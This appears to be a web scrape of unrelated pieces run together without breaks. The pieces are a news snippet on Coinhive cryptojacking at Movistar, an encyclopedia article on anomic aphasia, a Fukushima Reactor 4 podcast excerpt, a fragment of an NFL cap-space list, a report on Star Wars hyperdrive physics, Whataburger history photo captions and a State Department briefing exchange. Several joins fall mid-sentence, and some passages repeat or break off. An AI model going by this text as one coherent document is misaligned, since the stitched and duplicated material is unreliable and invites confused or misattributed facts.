Security researcher Troy Mursch has been tracking the cryptojacking phenomenon and has reported on numerous instances of this practice, most recently on telecom Movistar's official website.
#Coinhive malware found on official @movistar_es website in latest high-profile case of #cryptojacking.
Movistar is a major telecommunications brand owned by @Telefonica, operating in Spain.https://t.co/EnQH2bm4go pic.twitter.com/HorQOl8rD4 — Bad Packets Report (@bad_packets) December 29, 2017
Coinhive, the cryptojacking software that's used in the Archive Poster extension, is freely available to download and is advertised as a way to "monetize your business with your users' cpu power". However, websites and software that use it without a clear warning to users are usually frowned upon at the very least.Anomic aphasia (also known as dysnomia, nominal aphasia, and amnesic aphasia) is a mild, fluent type of aphasia where an individual has word retrieval failures and cannot express the words they want to say (particularly nouns and verbs).[1] Anomia is a deficit of expressive language. The most pervasive deficit in the aphasias is anomia. Some level of anomia is seen in all of the aphasias.[2] Individuals with aphasia who display anomia can often describe an object in detail and maybe even use hand gestures to demonstrate how the object is used but cannot find the appropriate word to name the object.[3]
Types [ edit ]
There are three main types of anomia:
Word selection anomia occurs when the patient knows how to use an object and can correctly select the target object from a group of objects, and yet cannot name the object. Some patients with word selection anomia may exhibit selective impairment in naming particular types of objects, such as animals or colors. [4] In the subtype known as color anomia, the patient can distinguish between colors but cannot identify them by name or name the color of an object. [5] The patients can separate colors into categories, but they cannot name them.
occurs when the patient knows how to use an object and can correctly select the target object from a group of objects, and yet cannot name the object. Some patients with word selection anomia may exhibit selective impairment in naming particular types of objects, such as animals or colors. In the subtype known as, the patient can distinguish between colors but cannot identify them by name or name the color of an object. The patients can separate colors into categories, but they cannot name them. Semantic anomia is a disorder in which the meaning of words becomes lost. In patients with semantic anomia, a naming deficit is accompanied by a recognition deficit. Thus, unlike patients with word selection anomia, patients with semantic anomia are unable to select the correct object from a group of objects, even when provided with the name of the target object. [4]
is a disorder in which the meaning of words becomes lost. In patients with semantic anomia, a naming deficit is accompanied by a recognition deficit. Thus, unlike patients with word selection anomia, patients with semantic anomia are unable to select the correct object from a group of objects, even when provided with the name of the target object. Disconnection anomia results from the severing of connections between sensory and language cortices. Patients with disconnection anomia may exhibit modality-specific anomia, where the anomia is limited to a specific sensory modality, such as hearing. For example, a patient who is perfectly capable of naming a target object when it is presented via certain sensory modalities like audition or touch, may be unable to name the same object when the object is presented visually. Thus, in such a case, the patient's anomia arises as a consequence of a disconnect between his/her visual cortex and language cortices.[4]
Patients with disconnection anomia may also exhibit callosal anomia, in which damage to the corpus callosum prevents sensory information from being transmitted between the two hemispheres of the brain. Therefore, when sensory information is unable to reach the hemisphere that is language-dominant (typically the left hemisphere in most individuals), the result is anomia. For instance, if a patient with this type of disconnection anomia holds an object in their left hand, this somatosensory information about the object would be sent to the right hemisphere of the brain, but then would be unable to reach the left hemisphere due to callosal damage. Thus, this somatosensory information would fail to be transmitted to language areas in the left hemisphere, in turn resulting in the inability to name the object in the left hand. In this example, the patient would have no problem with naming, if the test object were to be held in the right hand. This type of anomia may also arise as a consequence of a disconnect between sensory and language cortices.[4]
Causes [ edit ]
Anomia can be genetic or caused by damage to various parts of the parietal lobe or the temporal lobe of the brain by an accident or stroke, or a brain tumor.[6]
Although the main causes are not specifically known, many researchers have found factors contributing to anomic aphasia. It is known that people with damage to the left hemisphere of the brain are more likely to have anomic aphasia. Broca's area, the speech production center in the brain, was linked to being the source for speech execution problems, with the use of functional magnetic resonance imaging (fMRI), now commonly used to study anomic patients.[7] Other experts believe that damage to Wernicke's area, which is the speech comprehension area of the brain, is connected to anomia because the patients cannot comprehend the words that they are hearing.[8]
Although many experts have believed that damage to Broca's area or Wernicke's area are the main causes of anomia, current studies have shown that damage in the left parietal lobe is the epicenter of anomic aphasia.[9] One study was conducted using a word repetition test as well as fMRI in order to see the highest level of activity as well as where the lesions are in the brain tissue.[9] Fridrikkson, et al. saw that damage to neither Broca's area nor Wernicke's area were the sole sources of anomia in the subjects. Therefore, the original anomia model, which theorized that damage occurred on the surface of the brain in the grey matter was debunked, and it was found that the damage was in the white matter deeper in the brain, on the left hemisphere.[9] More specifically, the damage was in a part of the nerve tract called the arcuate fasciculus, for which the mechanism of action is unknown, though it is known to connect the posterior (back) of the brain to the anterior (front) and vice versa.[10]
New data has shown that although the arcuate fascicles' main function does not include connecting Wernicke's area and Broca's area, damage to the tract does create speech problems because the speech comprehension and speech production areas are connected by this tract.[9] Some studies have found that in right-handed people the language center is 99% in the left hemisphere; therefore, anomic aphasia almost exclusively occurs with damage to the left hemisphere. However, in left-handed people the language center is about 60% in the left hemisphere; thus, anomic aphasia can occur with damage to the right hemisphere in left-handed people.[citation needed]
Diagnosis [ edit ]
The best way to see if anomic aphasia has developed is by using verbal as well as imaging tests. The combination of the two tests seem to be most effective, since either test done alone may give false positives or false negatives. For example, the verbal test is used to see if there is a speech disorder, and whether it is a problem in speech production or in comprehension. Patients with Alzheimer's disease have speech problems that are linked to dementia or progressive aphasias which can include anomia.[11][12] The imaging test, mostly done using MRI scans, is ideal for lesion mapping or viewing deterioration in the brain. However, imaging cannot diagnose anomia on its own because the lesions may not be located deep enough to damage the white matter or damage the arcuate fasciculus. However, anomic aphasia is very difficult to associate with a specific lesion location in the brain. Therefore, the combination of speech tests and imaging tests has the highest sensitivity and specificity.[13]
It is important to first do a hearing test, in case the patient cannot clearly hear the words or sentences needed in the speech repetition test.[14] In the speech tests, the person is asked to repeat a sentence with common words; if the person cannot identify the word but he or she can describe it, then the person is highly likely to have anomic aphasia. However, to be completely sure, the test is given while a test subject is in an fMRI scanner, and the exact location of the lesions and areas activated by speech are pinpointed.[9] Few simpler or cheaper options are available, so lesion mapping and speech repetition tests are the main ways of diagnosing anomic aphasia.
Definition [ edit ]
Anomic aphasia (anomia) is a type of aphasia characterized by problems recalling words, names, and numbers. Speech is fluent and receptive language is not impaired in someone with anomic aphasia.[15] Subjects often use circumlocutions (speaking in a roundabout way) in order to avoid a name they cannot recall or to express a certain word they cannot remember. Sometimes the subject can recall the name when given clues. Additionally, patients are able to speak with correct grammar; the main problem is finding the appropriate word to identify an object or person.
Sometimes subjects may know what to do with an object, but still not be able to give a name to the object. For example, if a subject is shown an orange and asked what it is called, the subject may be well aware that the object can be peeled and eaten, and may even be able to demonstrate this by actions or even verbal responses – however, they cannot recall that the object is called an "orange". Sometimes, when a person with this condition is multilingual, they might confuse the language they are speaking in trying to find the right word (inadvertent code-switching).
Management [ edit ]
There is no method available to completely cure anomic aphasia. However, there are treatments to help improve word-finding skills.
Although a person with anomia may find it difficult to recall many types of words such as common nouns, proper nouns, verbs, etc., many studies have shown that treatment for object words, or nouns, has shown promise in rehabilitation research.[14] The treatment includes visual aids, such as pictures, and the patient is asked to identify the object or activity. However, if that is not possible, then the patient is shown the same picture surrounded by words associated with the object or activity.[16][17] Throughout the process, positive encouragement is provided. The treatment shows an increase in word-finding during treatment; however, word identifying decreased two weeks after the rehabilitation period.[14] Therefore, it shows that rehabilitation effort needs to be continuous for word-finding abilities to improve from the baseline. The studies show that verbs are harder to recall or repeat, even with rehabilitation.[14][18]
Other methods in treating anomic aphasia include Circumlocution Induced Naming therapy (CIN), wherein the patient uses circumlocution to assist with his or her naming rather than just being told to name the item pictured after given some sort of cue. Results suggest that the patient does better in properly naming objects when undergoing this therapy because CIN strengthens the weakened link between semantics and phonology for patients with anomia, since they often know what an object is used for but cannot verbally name it.[19]
Anomia is often challenging for the families and friends of those suffering from it. One way to overcome this is computer-based treatment models, effective especially when used with clinical therapy. Leemann et al. provided anomic patients with computerized-assisted therapy (CAT) sessions, along with traditional therapy sessions using treatment lists of words. Some of the patients received a drug known to help relieve symptoms of anomia (levodopa) while others received a placebo. The researchers found that the drug had no significant effects on improvement with the treatment lists, but almost all of the patients improved after the CAT sessions. They concluded that this form of computerized treatment is effective in increasing naming abilities in anomic patients.[20]
Additionally, one study researched the effects of using "excitatory (anodal) transcranial direct current stimulation" over the right temporo-parietal cortex, a brain area that seems to correlate to language. The electrical stimulation seemed to enhance language training outcome in patients with chronic aphasia.[21]
Epidemiology [ edit ]
Many different populations can and do suffer from anomia. For instance, deaf patients who have suffered a stroke can demonstrate semantic and phonological errors, much like hearing anomic patients. Researchers have called this subtype sign anomia.[22]
Bilingual patients typically experience anomia to a greater degree in just one of their fluent languages. However, there has been conflicting evidence as to which language – first or second – suffers more.[23][24]
Research on children with anomia has indicated that children who undergo treatment are, for the most part, able to gain back normal language abilities, aided by brain plasticity. However, longitudinal research on children with anomic aphasia due to head injury shows that even several years after the injury, some signs of deficient word retrieval are still observed. These remaining symptoms can sometimes cause academic difficulties later on.[25]
Patients [ edit ]
This disorder may be extremely frustrating for people with and without the disorder. Although the person with anomic aphasia may know the specific word, they may not be able to recall it and this can be very difficult for everyone in the conversation. Positive reinforcements are helpful.[14]
Although there are not many literary cases about anomic aphasia, there are many non-fiction books about living with aphasia. One of them is The Man Who Lost His Language by Sheila Hale. It is the story of Sheila Hale's husband, John Hale, a scholar who suffered a stroke and lost speech formation abilities. In her book, Sheila Hale also explains the symptoms and mechanics behind aphasia and speech formation. She adds the emotional components of dealing with a person with aphasia and how to be patient with the speech and communication.[26][27]
See also [ edit ]In June 2011, Arnie Gundersen of Fairewinds Associates was featured in a podcast hosted by Chris Martenson. The show updated listeners as to some of the latest events surrounding Reactor 4 and groundwater monitoring concerns, I will only highlight a few of the details, the entire podcast can be found here.
Chris Martenson: What can they really do beyond just keep trying to dump water in there and keep their fingers crossed?
Arnie Gundersen: If you put too much water in these reactors they get heavy, and they are not designed to sway when there is heavy – tens of tons of extra water in them. So they are really not designed to sway. So let’s say there is a severe aftershock, Unit 3 and Unit 4 are in real jeopardy.
Chris Martenson: Is there some way that they [TEPCO] can maybe just throw up their hands and just pour a bunch of concrete on it and call it a day?
Arnie Gundersen: I think eventually they may get to the point of throwing up their hands and pouring the concrete on.
They can’t do that yet, because the cores are still too hot. So we are going to see the dance we’re in for another year or so, until the cores cool down.
At that point, there’s not anywhere near as much decay heat and you probably could consider filling them with concrete and just letting sit there, like we have it at Chernobyl, as a giant mausoleum.
That would work for units 1, 2, and 3. Unit 4 is still a problem, because again all the fuel is at the top and you can’t put the concrete at the top because you will collapse the building and it’s so radioactive, you can’t lift the nuclear fuel out. I used to do this as a living and Unit 4 has me stumped.
Chris Martenson: So what do they do, do you think?
Arnie Gundersen: I think they will be forced to build a building around the building and then, because you need heavy lifting cranes – cranes that lift a hundred and fifty tons, which are massive cranes, to put the put the nuclear fuel into canisters, which then can get removed.
That is sort of what happened at TMI, but all of the fuel at TMI was still at the bottom of the vessel. But it was a three-year process to get the molten fuel out of Three Mile Island – four years actually.
So the problem here is that all of the cranes that do that have been destroyed, at least on units 1, 3, and 4. And you can’t do it in the air. It has to be done under water.
So my guess is that they will have to build a building around the building to provide enough shielding and water, so that they can then go in and put this fuel into a heavy lift canister.
Chris Martenson: Okay, all right, I hadn’t considered that. That’s a great insight.
Almost a full year later, anyone looking to verify Arnie’s observations about Reactor 4 will find once again they ring true, and TEPCO is in fact thinking of constructing a cover for Reactor 4.
On March 29, 2012 TEPCO announced that it applied for an injection of 1 trillion yen in public funds.
On the same day TEPCO, through NISA, released the details of a new steel frame structure to be built around Unit 4 for recovering the fuel rods from the pool.
The inverted L shaped structure will be self-supporting and only the part carrying the fuel handling mechanism will be bolted to the wall of Unit 4.
The design of the 51m tall structure, to be covered by steel panels, will be completed by the end of June and construction will start this fall.
In preparation for the construction the remaining parts of the outer shell, pillars and roof of the |
under.
Browns: $17.4 million under.
Patriots: $16.2 million under.
Chargers: $14.9 million under.
Ravens: $14.45 million under.
Dolphins: $11.8 million under.
Colts: $11.6 million under.
Steelers: $10.5 million under.
Eagles: $9.6 million under.
Vikings: $7.9 million under.
Jets: $7.1 million under.
Falcons: $5.8 million under.
Packers: $5.4 million under.
Saints: $5.2 million under.
Cowboys: $4.7 million under.
Rams: $1.2 million under.
Giants: $3.8 million over.
Texans: $4.7 million over.
Panthers: $5.3 million over.
Raiders: $7.4 million over.
Lions: $11.5 million over.
Cardinals: $16.4 million over.As the hyperdrive is engaged, every star in the sky is seen to stretch before the characters’ eyes as the ship speeds through the galaxy (above).
The four students - Riley Connors, Katie Dexter, Joshua Argyle, and Cameron Scoular – have shown that this would not be the case.
They have shown that the crew would actually see a central disc of bright light.
There would be no sign of stars because of the Doppler effect - the same effect which causes the siren of an ambulance to become higher in pitch as it comes towards you.
Doppler blue shift is a phenomenon caused by a source of electromagnetic radiation – including visible light - moving towards an observer.
The effect means that the wavelength of electromagnetic radiation will be shortened.
From the Millennium Falcon crew’s point of view, the wavelength of the light from stars will decrease and ‘shift’ out of the visible spectrum into the X-ray range.
They would simply see a central disc of bright light as Cosmic Microwave Background Radiation is shifted into the visible spectrum.
Cosmic Microwave Background Radiation is radiation left behind from the Big Bang, and is spread across the universe fairly uniformly.
The group found after further investigation that the intense X-rays from stars would push the ship back, causing it to slow down. The pressure felt by the ship would be comparable to that felt at the bottom of the Pacific Ocean.
Their calculations also show that Han would need to store extra amounts of energy on his ship to overcome this pressure in order to continue on his journeys.
Riley Connors, 21, from Milton Keynes, said: “If the Millennium Falcon existed and really could travel that fast, sunglasses would certainly be advisable. On top of this, the ship would need something to protect the crew from harmful X-ray radiation.”
Joshua Argyle, 22, from Leicester, added: “The resultant effects we worked out were based on Einstein’s theory of Special Relativity, so while we may not be used to them in our daily lives, Han Solo and his crew should certainly understand its implications.”
Katie Dexter, 21, from Kettering, concluded: “Perhaps Disney should take the physical implications of such high speed travel into account in their forthcoming films.”
Course leader Dr Mervyn Roy, a lecturer at the University’s Department of Physics and Astronomy, said: “A lot of the papers published in the Journal are on subjects that are amusing, topical, or a bit off-the-wall. Our fourth years are nothing if not creative! But, to be a research physicist - in industry or academia - you need to show some imagination, to think outside the box, and this is certainly something that the module allows our students to practice.
“Most of our masters students hope to go on to careers in research where a lot of their time will be taken up with scientific publishing - writing and submitting papers, and writing and responding to referee reports.
“This is another area where the module really helps. Because Physics Special Topics is run exactly like a professional journal, the students get the chance to develop all the skills they will need when dealing with high profile journals later on in life.”From a sweaty stand on the Texas gulf coast to a chain with drive-thrus from Arizona to Florida, these vintage photographs chart the 65-year history of Whataburger. From a sweaty stand on the Texas gulf coast to a chain with drive-thrus from Arizona to Florida, these vintage photographs chart the 65-year history of Whataburger. Photo: San Antonio Express-News From a sweaty stand on the Texas gulf coast to a chain with...photo-8423398.102520 - |ucfirst
To the chagrin of some Corpus Christians, people often mistake this restaurant for the original one. While it is the flagship store, it did not open until 1999. To the chagrin of some Corpus Christians, people often mistake this restaurant for the original one. While it is the flagship store, it did not open until 1999. Photo: Courtesy Photo To the chagrin of some Corpus Christians, people often mistake this...photo-7511338.102520 - |ucfirst
Behold, the world's first Whataburger was located on Ayers Street in Corpus Christi, pictured here on August 8, 1950. While the original building is long gone, the original recipe remains in tact. Behold, the world's first Whataburger was located on Ayers Street in Corpus Christi, pictured here on August 8, 1950. While the original building is long gone, the original recipe remains in tact. Photo: Whataburger Behold, the world's first Whataburger was located on Ayers...photo-7286690.102520 - |ucfirst
Harmon Dobson, the founder of Whataburger, was an entrepreneur with the vision of doubling the standard 1950s burger (two ounces of beef on a 2½-inch bun) to a quarter pound of beef on a 5-inch bun. He commissioned Rainbo bakery to create the giant bun. less Harmon Dobson, the founder of Whataburger, was an entrepreneur with the vision of doubling the standard 1950s burger (two ounces of beef on a 2½-inch bun) to a quarter pound of beef on a 5-inch bun. He... more Photo: Courtesy Photo Harmon Dobson, the founder of Whataburger, was an entrepreneur with...photo-7508845.102520 - |ucfirst
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Dobson wanted a burger that took two hands to hold and made the person yell "What a burger!" after the first taste. He trademarked the name, "Whataburger," in June 1950. Dobson wanted a burger that took two hands to hold and made the person yell "What a burger!" after the first taste. He trademarked the name, "Whataburger," in June 1950. Photo: COURTESY PHOTO Dobson wanted a burger that took two hands to hold and made the...photo-6881000.102520 - |ucfirst
Born on October 8, 1913, Harmon Dobson was an avid pilot who worked in ship building, diamond trading and oil drilling before he found his calling. Born on October 8, 1913, Harmon Dobson was an avid pilot who worked in ship building, diamond trading and oil drilling before he found his calling. Photo: Courtesy Photo Born on October 8, 1913, Harmon Dobson was an avid pilot who worked...photo-7508871.102520 - |ucfirst
The Whataburger counter crew of 1950 served 35 cent hamburgers, 15 cent milkshakes and a gallon jug of root beer for 60 cents. The Whataburger counter crew of 1950 served 35 cent hamburgers, 15 cent milkshakes and a gallon jug of root beer for 60 cents. Photo: Courtesy Photo The Whataburger counter crew of 1950 served 35 cent hamburgers, 15...photo-7508842.102520 - |ucfirst
The sign in front of restaurant Number 9 in Corpus Christi, circa 1953 The sign in front of restaurant Number 9 in Corpus Christi, circa 1953 Photo: Courtesy Photo The sign in front of restaurant Number 9 in Corpus Christi, circa 1953photo-7508853.102520 - |ucfirst
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For having the first all electric restaurant, Harmon received an award from the Central Power and Light at Whataburger restaurant #2. For having the first all electric restaurant, Harmon received an award from the Central Power and Light at Whataburger restaurant #2. Photo: Courtesy Photo For having the first all electric restaurant, Harmon received an...photo-7508849.102520 - |ucfirst
During World War II, Harmon Dobson built military hangars. Later, he would fly through the skies of Corpus Christi pulling a Whataburger banner and dropping coupons for free hamburgers. During World War II, Harmon Dobson built military hangars. Later, he would fly through the skies of Corpus Christi pulling a Whataburger banner and dropping coupons for free hamburgers. Photo: Courtesy Photo During World War II, Harmon Dobson built military hangars. Later,...photo-7508878.102520 - |ucfirst
Corpus Christi, circa summer 1955: According to Howard Henslee, pictured on the far left, "It's not whether you win or lose, but where you eat after the game" was an old Whataburger saying. Corpus Christi, circa summer 1955: According to Howard Henslee, pictured on the far left, "It's not whether you win or lose, but where you eat after the game" was an old Whataburger saying. Photo: Courtesy Photo Corpus Christi, circa summer 1955: According to Howard Henslee,...photo-7508876.102520 - |ucfirst
According to Harmon Dobson's journal, the total sales on the first day of business were $50. In those days, a burger cost less than a stamp. According to Harmon Dobson's journal, the total sales on the first day of business were $50. In those days, a burger cost less than a stamp. Photo: Courtesy Photo According to Harmon Dobson's journal, the total sales on the...photo-7508851.102520 - |ucfirst
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Harmon Dobson was a devoted diarist for much if his life. Harmon Dobson was a devoted diarist for much if his life. Photo: Courtesy Photo Harmon Dobson was a devoted diarist for much if his life.photo-7518528.102520 - |ucfirst
"This, I believe, will turn out to be a very profitable investment." "This, I believe, will turn out to be a very profitable investment." Photo: Nicole Truly, McGarrah Jessee, Courtesy Photo "This, I believe, will turn out to be a very profitable...photo-7518529.102520 - |ucfirst
In this early 1950s view of Whataburger restaurant Number 2, customers lean against a bar, known as the "cattle rail" by some old-timers. In this early 1950s view of Whataburger restaurant Number 2, customers lean against a bar, known as the "cattle rail" by some old-timers. Photo: Courtesy Photo In this early 1950s view of Whataburger restaurant Number 2,...photo-7508855.102520 - |ucfirst
The first neon sign flashed in four stages: What…A…Burger…Whataburger. The first neon sign flashed in four stages: What…A…Burger…Whataburger. Photo: Courtesy Photo The first neon sign flashed in four stages:...photo-7508880.102520 - |ucfirst
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The Whataburger sign in front of Unit 9 in Corpus Christi, circa 1953 The Whataburger sign in front of Unit 9 in Corpus Christi, circa 1953 Photo: Courtesy Photo The Whataburger sign in front of Unit 9 in Corpus Christi, circa 1953photo-7508869.102520 - |ucfirst
Joe Andrews Sr. opened the first franchised unit in Alice, Texas. It was the fifth store overall. Joe Andrews Sr. opened the first franchised unit in Alice, Texas. It was the fifth store overall. Photo: Courtesy Photo Joe Andrews Sr. opened the first franchised unit in Alice, Texas....photo-7508875.102520 - |ucfirst
Harmon Dobson stands with his five-year-old future Mr. Whataburger, Tom Dobson (1955). Harmon Dobson stands with his five-year-old future Mr. Whataburger, Tom Dobson (1955). Photo: Courtesy Photo Harmon Dobson stands with his five-year-old future Mr. Whataburger,...photo-7508868.102520 - |ucfirst
Grace and Harmon Dobson had three children: Hugh, Tom and Lynn (left to right, circa 1958). Grace and Harmon Dobson had three children: Hugh, Tom and Lynn (left to right, circa 1958). Photo: Courtesy Photo Grace and Harmon Dobson had three children: Hugh, Tom and Lynn...photo-7508870.102520 - |ucfirst
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The first city and state outside of Texas to have Whataburger was Pensacola, Florida in 1959. The first city and state outside of Texas to have Whataburger was Pensacola, Florida in 1959. Photo: Courtesy Photo The first city and state outside of Texas to have Whataburger was...photo-7508852.102520 - |ucfirst
An original Harmon Dobson business card from the sixties. An original Harmon Dobson business card from the sixties. Photo: Courtesy Photo An original Harmon Dobson business card from the sixties.photo-7518506.102520 - |ucfirst
In this picture from 1960, Tom Dobson is the kid slurping a shake in front of an old box-styled store in Clearwater, Florida. In this picture from 1960, Tom Dobson is the kid slurping a shake in front of an old box-styled store in Clearwater, Florida. Photo: Courtesy Photo In this picture from 1960, Tom Dobson is the kid slurping a shake...photo-7508873.102520 - |ucfirst
Here's another view of the old box-styled store. Can you spot Tom? Here's another view of the old box-styled store. Can you spot Tom? Photo: Courtesy Photo Here's another view of the old box-styled store. Can you spot...photo-7508841.102520 - |ucfirst
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Here Tom Dobson is in 1993 when he became Whataburger CEO and president. Here Tom Dobson is in 1993 when he became Whataburger CEO and president. Photo: Courtesy Photo Here Tom Dobson is in 1993 when he became Whataburger CEO and...photo-7511339.102520 - |ucfirst
Circa 1960s, this restaurant is #26 in Welasco, Texas. Circa 1960s, this restaurant is #26 in Welasco, Texas. Photo: Courtesy Photo Circa 1960s, this restaurant is #26 in Welasco, Texas.photo-7508844.102520 - |ucfirst
Number 26 in Welasco, Texas during the day Number 26 in Welasco, Texas during the day Photo: Courtesy Photo Number 26 in Welasco, Texas during the dayphoto-7508843.102520 - |ucfirst
The design of the McAllen restaurant was meant to attract people with the orange and white board, visible from way down the street. The design of the McAllen restaurant was meant to attract people with the orange and white board, visible from way down the street. Photo: Courtesy Photo The design of the McAllen restaurant was meant to attract people...photo-7508848.102520 - |ucfirst
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This is Number 24 under construction in Odessa, Texas. The early A-frame buildings were bolted and welded like skyscrapers (except they didn't have power tools back then). This is Number 24 under construction in Odessa, Texas. The early A-frame buildings were bolted and welded like skyscrapers (except they didn't have power tools back then). Photo: Courtesy Photo This is Number 24 under construction in Odessa, Texas. The early...photo-7508884.102520 - |ucfirst
When finished, Number 24 was boasting 6,500 watts of lighting. When finished, Number 24 was boasting 6,500 watts of lighting. Photo: Courtesy Photo When finished, Number 24 was boasting 6,500 watts of lighting.photo-7508846.102520 - |ucfirst
Circa 1960s in Kingsville, Texas Circa 1960s in Kingsville, Texas Photo: Courtesy Photo Circa 1960s in Kingsville, Texasphoto-7508854.102520 - |ucfirst
The menu from 1962. The Whataburger Jr. didn't arrive until 1973. The menu from 1962. The Whataburger Jr. didn't arrive until 1973. Photo: Courtesy Photo The menu from 1962. The Whataburger Jr. didn't arrive until 1973.photo-7511334.102520 - |ucfirst
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Circa 1962: Whataburger’s first iconic A-frame stood at three times the height of the other burger stands. Circa 1962: Whataburger’s first iconic A-frame stood at three times the height of the other burger stands. Photo: Courtesy Photo Circa 1962: Whataburger’s first iconic A-frame stood at three...photo-7508885.102520 - |ucfirst
1960s: From 1961 to 1976, Whataburger built approximately 80 of theses distinct A-frame stores. 1960s: From 1961 to 1976, Whataburger built approximately 80 of theses distinct A-frame stores. Photo: Courtesy Photo 1960s: From 1961 to 1976, Whataburger built approximately 80 of...photo-7508883.102520 - |ucfirst
This store in McAllen, the seventh one, was all outdoors. Its design is considered the bridge between the old box store and the A-frame (circa 1960s). This store in McAllen, the seventh one, was all outdoors. Its design is considered the bridge between the old box store and the A-frame (circa 1960s). Photo: Courtesy Photo This store in McAllen, the seventh one, was all outdoors. Its...photo-7508882.102520 - |ucfirst
Grace Dobson, wife of founder Harmon Dobson, took over the business after her husband died in a tragic airplane accident in 1967. She was officially named chairwoman of the board roughly two years later. Grace Dobson, wife of founder Harmon Dobson, took over the business after her husband died in a tragic airplane accident in 1967. She was officially named chairwoman of the board roughly two years later. Photo: Courtesy Photo Grace Dobson, wife of founder Harmon Dobson, took over the...photo-7511336.102520 - |ucfirst
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This 1967 sign is a precursor to the "Flying W." Harmon Dobson's love for aviation influenced the company's official logo. This 1967 sign is a precursor to the "Flying W." Harmon Dobson's love for aviation influenced the company's official logo. Photo: Courtesy Photo This 1967 sign is a precursor to the "Flying W." Harmon...photo-7511333.102520 - |ucfirst
By 1967 there were Whataburger restaurants in Texas, Florida, Tennessee and Arizona (pictured here). By 1967 there were Whataburger restaurants in Texas, Florida, Tennessee and Arizona (pictured here). Photo: Courtesy Photo By 1967 there were Whataburger restaurants in Texas, Florida,...photo-7511335.102520 - |ucfirst
Employees dressed in the latest 1970s fashions. Working the grill and fryers in non-wrinkle polyester was one hot job. Employees dressed in the latest 1970s fashions. Working the grill and fryers in non-wrinkle polyester was one hot job. Photo: Courtesy Photo Employees dressed in the latest 1970s fashions. Working the grill...photo-7511341.102520 - |ucfirst
In 1974, a new building design was introduced. Can you spot the A-frame with wings? In 1974, a new building design was introduced. Can you spot the A-frame with wings? Photo: Courtesy Photo In 1974, a new building design was introduced. Can you spot the...photo-7511332.102520 - |ucfirst
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1979 was the year Whataburger introduced a breakfast menu, and by 1982 they were operating 24 hours a day. 1979 was the year Whataburger introduced a breakfast menu, and by 1982 they were operating 24 hours a day. Photo: Courtesy Photo 1979 was the year Whataburger introduced a breakfast menu, and by...photo-7511340.102520 - |ucfirst
This 1981 advertisement featured country singer Mel Tillis. This 1981 advertisement featured country singer Mel Tillis. Photo: Courtesy Photo This 1981 advertisement featured country singer Mel Tillis.photo-7511342.102520 - |ucfirst
Actor William H. Bassett provided the voiceover for Whataburger commercials for nine years in the early 2000s. Actor William H. Bassett provided the voiceover for Whataburger commercials for nine years in the early 2000s. Photo: PHOTO COURTESY WILLIAM H. BASSETT Actor William H. Bassett provided the voiceover for Whataburger...photo-1650897.102520 - |ucfirst
In this photo from 1983, a fireman clears the damage from a Whataburger on Broadway Street in San Antonio. In this photo from 1983, a fireman clears the damage from a Whataburger on Broadway Street in San Antonio. Photo: San Antonio Express-News In this photo from 1983, a fireman clears the damage from a...photo-7512804.102520 - |ucfirst
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In 2004, local baseball fans celebrated the opening of Whataburger Field, home to the Corpus Christi Hooks. In 2004, local baseball fans celebrated the opening of Whataburger Field, home to the Corpus Christi Hooks. Photo: Courtesy Photo In 2004, local baseball fans celebrated the opening of Whataburger...photo-7511344.102520 - |ucfirst
"Lady Grace" threw a perfect strike at the groundbreaking ceremony. She passed away in 2005. "Lady Grace" threw a perfect strike at the groundbreaking ceremony. She passed away in 2005. Photo: Courtesy Photo "Lady Grace" threw a perfect strike at the groundbreaking...photo-7511343.102520 - |ucfirst
After Hurrican Ike hit the Texas Coast in 2008, Whataburger moved its headquarters from Corpus Christi to San Antonio. After Hurrican Ike hit the Texas Coast in 2008, Whataburger moved its headquarters from Corpus Christi to San Antonio. Photo: LISA KRANTZ, SAN ANTONIO EXPRESS-NEWS After Hurrican Ike hit the Texas Coast in 2008, Whataburger moved...photo-6875743.102520 - |ucfirst
Tom Dobson for Whataburger, along with leaders from Southwest Business Corp. and HEB, were among the 2013 inductees in the Texas Business Hall of Fame. Tom Dobson for Whataburger, along with leaders from Southwest Business Corp. and HEB, were among the 2013 inductees in the Texas Business Hall of Fame. Photo: Edward A. Ornelas, San Antonio Express-News Tom Dobson for Whataburger, along with leaders from Southwest...photo-5465359.102520 - |ucfirst
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San Antonio Spurs' Danny Green fits on a Whataburger mask to visit Howsman Elementary School for Whataburger's Whatcha Reading program in 2013. San Antonio Spurs' Danny Green fits on a Whataburger mask to visit Howsman Elementary School for Whataburger's Whatcha Reading program in 2013. Photo: BOB OWEN, San Antonio Express-News San Antonio Spurs' Danny Green fits on a Whataburger mask to...photo-4002522.102520 - |ucfirst
Preston Atkinson is the current president of Whataburger. Preston Atkinson is the current president of Whataburger. Preston Atkinson is the current president of Whataburger. photo-451948.102520 - |ucfirst
On August 8, 2015, the chain celebrates its 65th anniversary with generations of loyal Whataburger-enthusiasts. On August 8, 2015, the chain celebrates its 65th anniversary with generations of loyal Whataburger-enthusiasts. Photo: Courtesy Of Whataburger On August 8, 2015, the chain celebrates its 65th anniversary...photo-7174865.102520 - |ucfirstDuring Wednesday’s State Department press briefing, Associated Press Diplomatic Writer Matt Lee asked State Department Press Office Director Elizabeth Trudeau “am I not speaking English?” During a line of questioning about improper relationships between the Clinton Foundation and the State Department.
Trudeau was asked by NBC News State Department Producer Abigail Williams, [relevant remarks begin around 13:15] “Do you have any response to criticism by some that suggest there was a relationship between the Clinton Foundation and the State Department at the time? There was an email that came out in this recent set that is between the — an executive at the Clinton Foundation and Huma Abedin and Cheryl Mills where he is requesting to set up a meeting between a billionaire donor and the US ambassador to Lebanon.”
Trudeau responded that she wasn’t “going to speak to specific emails.” But that “State Department officials are regularly in touch with a wide variety of outside individuals and organizations, including businesses, nonprofits, NGOs, think tanks. You know, the nearly 55,000 pages of former Secretary Clinton’s emails released by the department over the past year give a sense of the wide range of individuals both inside and outside of government that State Department officials are in contact with on a range of subjects.”
Williams followed up, “So you don’t feel like this email — or you don’t feel like there was impropriety in the relationship between the Clinton Foundation and the State Department at the time?”
Trudeau answered, “We talk to a wide range of people, at my level, at various levels in the department, NGOs, think tanks, business leaders, experts on a variety of subjects.”
When Lee later got a chance to ask a question, he asked, “Can you at least try to answer Abigail’s question, which was, has the department looked into this and determined that there was no impropriety?
Trudeau told him, “The department is regularly in touch with people across the whole spectrum, Matt.”
Lee pushed back, “That’s not the question. The question is whether or not you’ve looked into this – the building has looked into it and determined that everything was okay, that there was nothing wrong here.
Trudeau responded, “We feel confident in our ability and our past practice of reaching out to a variety of sources and being responsive to requests.”
Lee then said, “I’m sorry, are you – am I not speaking English? Is this — I mean, is it coming across as a foreign — I’m not asking you if — no one is saying it’s not okay or it’s bad for the department to get a broad variety of input from different people. Asking — the question is, whether or not you’ve determined that there was nothing improper here.”
